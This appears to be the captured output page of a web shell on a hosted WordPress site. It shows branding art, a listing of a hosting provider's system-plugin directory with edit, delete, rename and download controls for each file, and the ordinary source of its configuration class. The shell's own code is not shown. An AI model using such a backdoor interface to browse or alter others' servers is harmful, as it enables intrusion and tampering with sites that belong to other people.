⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⢠⣴⣿⣿⣿⣷⣼⣿⠀⣴⠾⠷⠶⠦⡄⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⢠⡤⢶⣦⣾⣿⣿⣿⣿⣿⣿⣿⠀⣿⣶⣶⣦⣄⠳⣤⣤⠄⠀⠀⠀ ⠀⠀⠀⢀⣼⣳⡿⢻⣿⣿⣿⣿⣿⣿⣿⣿⣶⣿⣿⣗⠈⠙⠻⣶⣄⡀⠀⠀⠀ ⠀⠀⠀⣰⠿⠁⢀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡄⠀⠀⠈⠳⣤⠀⠀ ⠀⠀⢀⡟⠀⢰⣿⠟⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⠉⠁⠈⠻⣶⣄⠀⠀⠈⠛⢦ www.github.com/caterscam ⠀⣀⡼⠃⠀⣼⡟⠀⠀⢸⣿⡿⠉⣿⡿⠿⠛⣿⡄⠀⠀⠀⠙⠿⣆⠀⠀⠀⠈ ⠈⠁⠀⠀⢸⡟⠀⠀⠀⢸⣿⠀⠀⣿⠁⠀⠀⠈⠃⠀⠀⠀⠀⠀⠘⢷⡄⠀⠀ ⠀⠀⠀⠀⣼⠃⠀⠀⠀⢸⡟⠀⠀⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⡆⠀ ⠀⠀⠀⣠⡏⠀⠀⠀⠀⣼⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠻⠃⠀⠀⠀⠀⣻⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ Current Dir: /dom834884/wp-content/mu-plugins/gd-system-plugin/includes/ [DIR] admin [ delete | rename ] [DIR] cache [ delete | rename ] [DIR] cli [ delete | rename ] [FILE] autoload.php [ edit | delete | rename | download ] [FILE] class-activity-logger.php [ edit | delete | rename | download ] [FILE] class-api.php [ edit | delete | rename | download ] [FILE] class-auto-updates.php [ edit | delete | rename | download ] [FILE] class-bundled-plugins.php [ edit | delete | rename | download ] [FILE] class-cache-v2.php [ edit | delete | rename | download ] [FILE] class-cache.php [ edit | delete | rename | download ] [FILE] class-cdn.php [ edit | delete | rename | download ] [FILE] class-change-domain.php [ edit | delete | rename | download ] [FILE] class-cli.php [ edit | delete | rename | download ] [FILE] class-configs.php [ edit | delete | rename | download ] [FILE] class-debug-mode.php [ edit | delete | rename | download ] [FILE] class-diagnostics.php [ edit | delete | rename | download ] [FILE] class-disallowed-plugins.php [ edit | delete | rename | download ] [FILE] class-feature-flag.php [ edit | delete | rename | download ] [FILE] class-gmv.php [ edit | delete | rename | download ] [FILE] class-gravity-forms.php [ edit | delete | rename | download ] [FILE] class-hotfixes.php [ edit | delete | rename | download ] [FILE] class-plugin-update-skin.php [ edit | delete | rename | download ] [FILE] class-rad.php [ edit | delete | rename | download ] [FILE] class-rest-api.php [ edit | delete | rename | download ] [FILE] class-rewrite-static-assets.php [ edit | delete | rename | download ] [FILE] class-rum.php [ edit | delete | rename | download ] [FILE] class-search-replacer.php [ edit | delete | rename | download ] [FILE] class-site-optimizer.php [ edit | delete | rename | download ] [FILE] class-smart-update.php [ edit | delete | rename | download ] [FILE] class-sso.php [ edit | delete | rename | download ] [FILE] class-storage-limit-checker.php [ edit | delete | rename | download ] [FILE] class-storage-limit-enforcer.php [ edit | delete | rename | download ] [FILE] class-sucuri-scanner.php [ edit | delete | rename | download ] [FILE] class-temp-domain.php [ edit | delete | rename | download ] [FILE] class-trustedsite.php [ edit | delete | rename | download ] [FILE] class-worker.php [ edit | delete | rename | download ] [FILE] class-wp-mirror.php [ edit | delete | rename | download ] [FILE] class-xmlrpc.php [ edit | delete | rename | download ] [FILE] class-yoast-seo.php [ edit | delete | rename | download ] [FILE] deprecated.php [ edit | delete | rename | download ] [FILE] trait-helpers.php [ edit | delete | rename | download ] [FILE] trait-singleton.php [ edit | delete | rename | download ] Viewing: /dom834884/wp-content/mu-plugins/gd-system-plugin/includes/class-configs.php <?php namespace WPaaS; if ( ! defined( 'ABSPATH' ) ) { exit; } final class Configs { use Helpers; const INFO_FILE = '/info.json'; /** * Array of config data. * * @var array */ private $data = []; /** * Object of v2 data. * * @var object */ private $v2Data; /** * Class constructor. */ public function __construct() { $path = $this->find_readable_path( [ ABSPATH . '../local/rendered/gd-config.php', ABSPATH . 'gd-config.php', WPMU_PLUGIN_DIR . '/bin/gd-config.php', ] ); if ( $path ) { require_once $path; } $this->load_info_json(); } /** * Return the v2 data. * * @return object */ public function get_v2_data() { return $this->v2Data; } public function load_info_json() { if ( ! self::is_wpaas_v2() ) { $this->v2Data = new \stdClass; return; } if ( ! file_exists( self::INFO_FILE ) ) { error_log( "Couldn't find an info.json file for the domain, ABSPATH: " . ABSPATH . ", __DIR__: " . __DIR__ ); $this->v2Data = new \stdClass; return; } $this->v2Data = (object) \json_decode( file_get_contents( self::INFO_FILE ) ); } /** * Return the first readable path from an array. * * @param array $paths * * @return string|false */ private function find_readable_path( array $paths ) { foreach ( $paths as $path ) { if ( is_readable( $path ) ) { return $path; } } return false; } }